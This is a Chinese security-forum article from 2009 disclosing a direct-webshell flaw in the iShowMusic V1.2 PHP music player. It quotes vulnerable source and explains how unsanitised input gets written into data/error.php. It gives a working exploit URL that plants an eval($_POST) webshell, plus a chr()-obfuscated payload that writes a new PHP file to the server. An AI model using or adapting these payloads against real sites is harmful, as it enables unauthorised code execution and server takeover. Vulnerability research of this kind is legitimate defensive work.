首页 网络安全 安全学院 查看内容

iShowMusic V1.2 直接写shell漏洞

2009-3-25 10:46 782 55

摘要: iShow Music 是一套基本于PHP+TXT的在线音乐播放程序。程序采用文本数据存储方式,无需MYSQL数据库支持,同时程序代码与界面模板分离,方便你的音乐网站界面修改。官方网站:http://...
关键词: nbsp key POST 代码 array 剪贴板 GET data 片段 error

iShow Music 是一套基本于PHP+TXT的在线音乐播放程序。程序采用文本数据存储方式,无需MYSQL数据库支持,同时程序代码与界面模板分离,方便你的音乐网站界面修改。官方网站:http://www.ishowsky.cn 在error.php 12-26行复制内容到剪贴板代码: 以下是引用片段:elseif ($_POST[’action’]=="save"){ $cknumon && GdConfirm($gdcode); if(empty($id)) {     Showmsg("no","你还未选择歌曲呢!","返回重新填写","javascript:history.back(-1)"); exit;} elseif(empty($_POST[’user’])) {     Showmsg("no","你还没写名字呢!","返回重新填写","javascript:history.back(-1)"); exit;} else{    $user=safeconvert($user);    $line="$user|$songname|$id|$errmsg|$timestamp|\n";    $e="$datadir/error.php";    writetofile($e,$line,"a+");    Showmsg("yes","提交成功,谢谢您的支持!","关闭本页","javascript:window.close()"); exit; }在global.php 27-34行复制内容到剪贴板代码: foreach($_POST as $_key=>$_value){         $_POST[$_key]=str_replace(array(’|’,’$’,’..’),array (’|’,’$’,’..’),$_POST[$_key]);         !ereg("^\_",$_key) && !$$_key && $$_key=$_POST[$_key]; } foreach($_GET as $_key=>$_value){         $_GET[$_key]=str_replace(array(’|’,’$’,’..’),array (’|’,’$’,’..’),$_GET[$_key]);         !ereg("^\_",$_key) && !$$_key && $$_key=$_GET[$_key]; }这段代码是允许在register_globals在off的情况下工作程序作者的意图应该是把post和get提交的值过滤一下吧,这里手误把$_POST[$_key]给过滤了.导致失去了这段代码本来的作用. 以下是引用片段:function writetofile($file_name, $data, $method = "w") {         $filenum = fopen($file_name, $method);         flock($filenum, LOCK_EX);         $file_data = fwrite($filenum, $data);         fclose($filenum);         return $file_data; } 这个函数也没有任何过滤就把$data写进去了,呵呵 hxxp://www.xxx.com/error.php?errid=1&errtitle=<?eval($_POST[wst]);?> 然后提交一下你就能获得一个shell在 hxxp://www.xxx.com/data/error.php ($datadir默认为/data/,建议用这程序的管理员把这个默认值和文件夹改名,呵呵) 刚经群里的朋友提示,发现这段代码并没有错误复制内容到剪贴板代码: 以下是引用片段:foreach($_POST as $_key=>$_value){         $_POST[$_key]=str_replace(array(’|’,’$’,’..’),array (’|’,’$’,’..’),$_POST[$_key]);         !ereg("^\_",$_key) && !$$_key && $$_key=$_POST[$_key]; } foreach($_GET as $_key=>$_value){         $_GET[$_key]=str_replace(array(’|’,’$’,’..’),array (’|’,’$’,’..’),$_GET[$_key]);         !ereg("^\_",$_key) && !$$_key && $$_key=$_GET[$_key]; }呵呵..虽然我在本地本地测试的时候确实没替换.现在修改哈Ryat提供的邪恶的shellcode..嘿嘿 以下是引用片段:hxxp://www.xxx.com/error.php?errid=1&errtitle=<?fputs(fopen(chr(119).chr(111).chr(108).chr(118).chr(101).chr(122).chr(46).chr(112).chr(104).chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59).chr(63).chr(62));?>
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

返回顶部